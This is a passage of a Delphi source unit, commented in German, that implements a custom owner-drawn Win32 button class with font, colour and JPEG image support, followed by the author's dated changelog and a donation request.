(* Wenn ps nil war, haben wir ja Speicher reserviert, den wir jetzt freigeben *)
if Not Assigned(ps) then begin
Dispose(cRect);
ReleaseDC(FHandle, dc^);
Dispose(dc);
end;
end;
end;

(* Initialisieren der Variablen und Erstellen des Buttons; zuweisen der WndProc *)
constructor TX000XBtn.Create(hWndParent: THandle; Position: TPoint);
var TmpHwnd : THandle;
i : Integer;
begin
{$IFDEF ATOM}
FAtom := GlobalAddAtom(‘X000XBtn’);
{$ELSE}
FWinProp := GetMemory(SizeOf(TWinProperty));
FillChar(FWinProp^, SizeOf(TWinProperty), #0);
{$ENDIF}

FOnClick := nil;
FBtnState := bsUp;
FOwner := hWndParent;
FLeft := Position.X;
FTop := Position.Y;
FWidth := CWIDTH;
FHeight := CHEIGHT;
FIsFocused := False;
FColor := $00656059; //$00D4A062;
FJpeg := ”;
FdcMemory := 0;
FFontName := ‘Courier New’;
FFontColor := $00FFFFFF;
FFontSize := -12;
FFont := CreateFont(FFontSize, 0, 0, 0, FW_NORMAL, 0, 0, 0, ANSI_CHARSET,
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
DEFAULT_PITCH, Pointer(FFontName));
i := 1;
(* Alle bisher erstellten Buttons z�hlen, damit der Defaultname durch- *)
(* nummeriert gesetzt werden kann. z.B. Button1, Button2 usw. *)
//EnumChildWindows(hWndParent)
TmpHwnd := FindWindowEx(Self.FOwner, 0, ‘BUTTON’, nil);
while (TmpHwnd <> 0) do begin
TmpHwnd := FindWindowEx(Self.FOwner, TmpHwnd, ‘BUTTON’, nil);
inc(i)
end;
FName := ‘X000XButton’ + IntToStr(i);

FCaption := FName;
(* Erstellen des Fensters *)
FHandle := CreateWindowEx(0, ‘BUTTON’, Pointer(FName), WS_VISIBLE or WS_CHILD or BS_OWNERDRAW or BS_CENTER,
FLeft, FTop,
FWidth, FHeight, hWndParent, 0, hInstance, nil);

(* Neue WndProc f�r dieses Fenster setzen und dabei den Zeiger auf die *)
(* originale WndProc merken (Entweder im Fenster selber, bzw. als Property *)
(* (zu Identifizieren �ber FAtom) *)
FOldWndProc := Pointer(SetWindowLong(FHandle, GWL_WNDPROC, Integer(@SetWndProc)));

{$IFDEF ATOM}
SetProp(FHandle, PChar(FAtom), Cardinal(Self));
{$ELSE}
FWinProp.Self := Self;

SetWindowLong(FHandle, GWL_USERDATA, Integer(FWinProp));
{$ENDIF}
end;

(* Reservierten Speicher etc. frei geben, Fenster zerst�ren *)
destructor TX000XBtn.Destroy;
begin
(* Schriftenhandle freigeben *)
DeleteObject(FFont);

(* MemoryDC wieder freigeben *)
if FdcMemory <> 0 then
DeleteDc(FdcMemory);

{$IFDEF ATOM}
(* Zuerst die WndProc vom Mainwindow wieder benutzen, damit wir *)
(* gefahrlos das Property entfernen k�nnen… *)
(* ( Unsere BtnWndProc w�rde das Property ja ben�tigen, um *)
(* das Fenster zu zerst�ren ) *)
SetWindowLongPtr(FHandle, GWLP_WNDPROC, Integer(FOldWndProc));
(* Jetzt k�nnen wir auch gefahrlos das Property entfernen, es *)
(* wird ja nicht mehr gebraucht *)
RemoveProp(FHandle, PChar(FAtom));
{$ENDIF}

(* Handle/Fenster zerst�ren *)
DestroyWindow(FHandle);

{$IFDEF ATOM}
(* und zum Schluss auch noch den Referenzz�hler decrementieren *)
(* bzw. das Atom aus der GlobalAtomTable l�schen *)
GlobalDeleteAtom(FAtom);
{$ELSE}
FreeMemory(FWinProp);
{$ENDIF}
inherited;
end;

(*******************************************************************************
* *
* Folgende Funktionen dienen dem Setzen der Propertys und sind *
* selbsterkl�rend *
* *
*******************************************************************************)
function TX000XBtn.GetHeight: Integer;
begin
Result := FHeight;
end;

function TX000XBtn.GetTabStop: Boolean;
begin
FTabSTop := (GetWindowLong(FHandle, GWL_STYLE) and WS_TABSTOP) = WS_TABSTOP;
Result := FTabStop;
end;

function TX000XBtn.GetWidth: Integer;
begin
Result := FWidth;
end;

procedure TX000XBtn.SetCaption(const Value: String);
begin
if FCaption <> Value then begin
FCaption := Value;
SendMessage(FHandle, WM_SETTEXT, 0, LPARAM(FCaption));
end;
end;

procedure TX000XBtn.SetHeight(const Value: Integer);
begin
if FHeight <> Value then begin
FHeight := Value;
MoveWindow(FHandle, FLeft, FTop, FWidth, FHeight, True);
end;
end;

procedure TX000XBtn.SetTabStop(const Value: Boolean);
begin
if FTabStop <> Value then begin
if Value then begin
(* WS_TABSTOP setzen *)
SetWindowLong(FHandle, GWL_STYLE, GetWindowLong(FHandle, GWL_STYLE) or WS_TABSTOP);
end else
(* WS_TABSTOP entfernen *)
SetWindowLong(FHandle, GWL_STYLE, GetWindowLong(FHandle, GWL_STYLE) xor WS_TABSTOP);
FTabStop := Value;
end;
end;

procedure TX000XBtn.SetWidth(const Value: Integer);
begin
if FWidth <> Value then begin
FWidth := Value;
MoveWindow(FHandle, FLeft, FTop, FWidth, FHeight, True);
end;
end;

procedure TX000XBtn.SetColor(const Value: COLORREF);
begin
if Value <> FColor then begin
FColor := Value;
UpdateWindow(FHandle);
end;
end;

procedure TX000XBtn.SetupMemDC;
var dc : HDC;
hBmp : HBITMAP;
begin
(* Den MemDC nur einmal erstellen/initialisieren *)
if FdcMemory = 0 then begin
(* Erstelle “Zeichenger�t” im Speicher (kompatibel zur Anzeige) *)
FdcMemory := CreateCompatibleDC(0);
(* Hole Zeichenger�t vom Button *)
dc := GetDC(FHandle);
(* Erstelle Bitmap (kompatibel zum Zeichenger�t des Buttons) *)
hBmp := CreateCompatibleBitmap(dc, FWidth, FHeight);
(* wir wollen ein Bitmap im Speicher abbilden *)
SelectObject(FdcMemory, hBmp);
(* Das originale Bitmap brauchen wir nicht mehr, also freigeben *)
DeleteObject(hBmp);
(* Das Zeichenger�t vom Button auch nicht, also auch freigeben *)
ReleaseDC(FHandle, dc);
end;
end;

procedure TX000XBtn.DrawFromMemDC(var pPic: IPicture);
var
hmWidth,
hmHeight : Integer;
rc : TRect;
begin
if Assigned(pPic) then begin
(* originale Ma�e vom Picture holen *)
if (pPic.get_Width(hmWidth) = S_OK) then
if (pPic.get_Height(hmHeight) = S_OK) then begin
(* Ein Rechteck erstellen, mit den Abma�en vom Button *)
GetWindowRect(FHandle, rc);
(* und letztendlich das Bild “in den Speicher zeichnen” *)
pPic.Render(FdcMemory, 0, 0, FWidth, FHeight, 0, hmHeight, hmWidth, -hmHeight, rc);
(* damit gleich aktualisiert wird *)
ButtonDraw;
end;
end;
end;

procedure TX000XBtn._SetMemDCFromFile(const JpegFileName: String);
var pPic : IPicture;
begin
(* mit dem laden des Bildes anfangen *)
if (LoadPictureFromFile(JpegFileName, pPic)) then begin
SetupMemDC;
DrawFromMemDC(pPic);
end;
end;

procedure TX000XBtn._SetMemDCFromRes(const szResName: String);
var pPic : IPicture;
begin
(* mit dem laden des Bildes anfangen *)
if (LoadPictureFromRes(hInstance, szResName, ‘JPEGDATA’, pPic)) then begin
SetupMemDC;
DrawFromMemDC(pPic);
end;
end;

procedure TX000XBtn.SetMemDCFromX(const szName: String);
begin
if FJpeg <> szName then begin
FJpeg := szName;
if FileExists(szName) then
_SetMemDCFromFile(szName)
else
_SetMemDCFromRes(szName);
end;
end;

procedure TX000XBtn.SetFontName(const Value: String);
(* CallBack function von EnumFonts… Mit Hilfe des Typs TFontNameExists *)
(* erkennen wir, ob die gew�nschte Schrifft �berhaupt verf�gbar ist *)
function EnumFontsProc(var LogFont: TLogFont; var TextMetric: TTextMetric;
FontType: Integer; Data: Pointer): Integer; stdcall;
begin
if lstrcmpi(Pointer(TFontNameExists(Data^).Name), LogFont.lfFaceName) = 0 then begin
TFontNameExists(Data^).Exists := True;
(* Der Name wurde gefunden, also aussteigen *)
Result := 0;
end else
(* Der Name wurde noch nicht gefunden, also mit dem n�chsten Fontname weitermachen *)
(* solange jedenfalls noch welche zum vergleichen da sind… *)
Result := 1;
end;
var
Tmp : PFontNameExists;
dc : HDC;
begin
if (FFontName <> Value) and (Value <> ”) then begin
(* Neue Variable erzeugen *)
New(Tmp);
try
(* Unsren Typ mit dem Fontnamen den wir suchen f�llen *)
Tmp.Name := Value;
(* und auf False setzen *)
Tmp.Exists := False;
dc := GetDC(0);
(* steht hiernach die BooleanVar unsres Typs auf True, gibt es die Schrift im System *)
EnumFonts(dc, nil, @EnumFontsProc, Pointer(Tmp));
ReleaseDC(0, dc);
(* und nur in diesem fall �ndern wir die Schrift *)
if Tmp.Exists then begin
(* Altes Object zerst�ren *)
DeleteObject(FFont);
(* Neuen Namen setzen *)
FFontName := Value;
(* und ein Handle auf die Schrift holen *)
FFont := CreateFont(FFontSize, 0, 0, 0, FW_BOLD, 0, 0, 0, ANSI_CHARSET,
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
DEFAULT_PITCH, Pointer(FFontName));
end;
(* damit wir auch sofort was sehen, den Button neu zeichnen lassen *)
ButtonDraw;
finally
(* Speicher von Tmp freigeben *)
Dispose(Tmp);
end;
end;
end;

procedure TX000XBtn.SetFontColor(const Value: COLORREF);
begin
if FFontColor <> Value then begin
FFontColor := value;
ButtonDraw;
end;
end;

{$WARNINGS OFF}
end.
(*******************************************************************************
* Author: Peter Welz
* 2005-08-18: X000XActiveX angef�gt, um Pictures in die Buttons laden zu
* k�nnen
* FJpeg eingef�hrt, d.h. dem Button kann jetzt ein Jpeg Image
* zugewiesen werden.
* Procedure ButtonDraw um FJpeg erweitert
* Kommentar: X000XActiveX beinhaltet einen Teil der Delphi �bersetzung
* von OCIDL.H bzw. OBJIDL.H speziell IPicture und IStream
* wird aber dynamisch geladen.
* TODO: – TabOrder
* – Der “Klick” gef�llt mir noch nicht (bei schnellen Mausklicks
* wirkt der Klick verz�gert)
* – Bilder aus Resource (im Moment nur aus Datei)
* – OnMouseOver
* – Property BtnType der Art (Standard-, Color-, Paint-Button)
*******************************************************************************
* Author: Peter Welz
* 2005-08-15: Proceduren ButtonDraw und ButtonPaint zu einer zusammengefasst
* –> ButtonDraw
* Kommentar:
* TODO: – TabOrder
* – Bilder
* – OnMouseOver
* – Property BtnType der Art (Standard-, Color-, Paint-Button)
*******************************************************************************
* Author: Peter Welz
* 2005-08-14: Quelltext Kommentierung vervollst�ndigt, unn�tige Kommentare
* entfernt.
* Kommentar:
* TODO: – TabOrder
* – Bilder
* – OnMouseOver
* – Property BtnType der Art (Standard-, Color-, Paint-Button)
*******************************************************************************
* Author: Peter Welz
* 2005-07-12: OnClick Ereignis kann jetzt von Aussen zugewiesen werden…
* Kommentar: Endlich bin ich dazu mal gekommen, jetzt macht der ganze
* Quatsch erst richtig Sinn…
* procedure Test(Sender: Pointer);
* begin
* MessageBox(hWnd, PChar(TX000XBtn(Sender).Caption), ‘Test’, 0);
* end;
*
* // ..
*
* Button3 := TX000XBtn.Create(hWnd, Position);
* Button3.OnClick := Button3.SetNotifyEvent(@Test);
*
* // ..
* TODO: – TabOrder
* – Bilder
* – Property BtnType der Art (Standard-, Color-, Paint-Button)
*******************************************************************************
* Author: Peter Welz
* 2005-01-17: FColor, FTabStop implementiert, hierbei ist der Standard
* Button rausgeflogen
* Kommentar:
* TODO: – TabOrder
* – Bilder
* – Property BtnType der Art (Standard-, Color-, Paint-Button)
* – OnClick Ereignis von Au�en zuweisen
*******************************************************************************
* Author: Peter Welz
* 2004-09-18: Das Speichern des Self-Pointers umgestellt.
* OldWndProc aus TWinProperty in den gesch�tzten Teil der Klasse
* gesteckt (FOldWndProc)
* Globale VAR FAtom eingef�hrt
* Anhand der Compilerdirective $DEFINE ATOM wird unterschieden,
* welche Variante zum speichern des Self-Pointers genutzt wird.
* Kommentar: Der pointer wird jetzt nicht mehr in GWL_USERDATA gehalten,
* sondern in der “Fenstereigenschaften Liste”
* (siehe MSDN —> Set/GetProp)
* Den Zeiger auf die Originale WndProc brauchte ich nicht mehr
* in TWinProperty speichern, da ich ja sowieso an die Klassen-
* eigenschaften rankomme. Somit brauche ich nur einen Zeiger
* mitf�hren, ich denke mal, die PropertyList ist genau daf�r
* gedacht.
* TODO: – OnClick Ereignis von Au�en zuweisen
* – Farben
* – Bilder
* – TabStop
* – TabOrder
*******************************************************************************
* Author: Peter Welz
* 2004-09-16: Implementierung einer Fensterprocedure die anhand des Self-
* Pointers die richtige Objectinstanz erkennt… Jetzt macht die
* Klasse erst Sinn, da jetzt “unendlich” viele Buttons erzeugt
* und deren Messages verarbeitet werden k�nnen.
* Kommentar: Zu jedem Fenster (Buttons sind auch nur Fenster) kann der
* Entwickler einen eigenen 32-Bit Wert (4 Byte) abspeichern.
* —> Stichwort: GWL_USERDATA (siehe: MSDN) <—
* Solange das Fenster existiert, existiert auch dieser Wert.
* Genau sowas hatte mir gefehlt, um an die Referenz des Objectes
* zu kommen. Ich speicher jetzt einfach den Selfpointer und
* den Pointer auf die Original WndProc in einer Struktur (siehe
* TWinProperty). In dem Fenster selber speicher (s.o.) ich einen
* Pointer auf diese Struktur. Somit bin ich in der Lage,
* jeder Zeit an mein Object zu kommen, also auch in der WndProc.
* TODO: – OnClick Ereignis von Au�en zuweisen
* – Farben
* – Bilder
* – TabStop
* – TabOrder
*******************************************************************************
* Author: Peter Welz
* 2004-08-14: Erstellen der Klasse, Windows Standard-Button
* Kommentar: Es kann bis jetzt nur ein Button erstellt werden, da die
* Nachrichten f�r den Button noch nicht �ber die Klasse ge-
* h�ndelt werden. Habe noch keinen Weg gefunden, wie ich
* in der WndProc Funktion des Buttons an die Referenz des
* Objektes rankomme.
* TODO: – Eigene WndProc f�r die Klasse (WICHTIG, da sonst Sinnlos)
* – OnClick Ereignis von Au�en zuweisen
* – Farben
* – Bilder
* – TabStop
* – TabOrder
*******************************************************************************)

Gefallen Euch meine sourcen – freue ich mich über Eure Spende – Danke!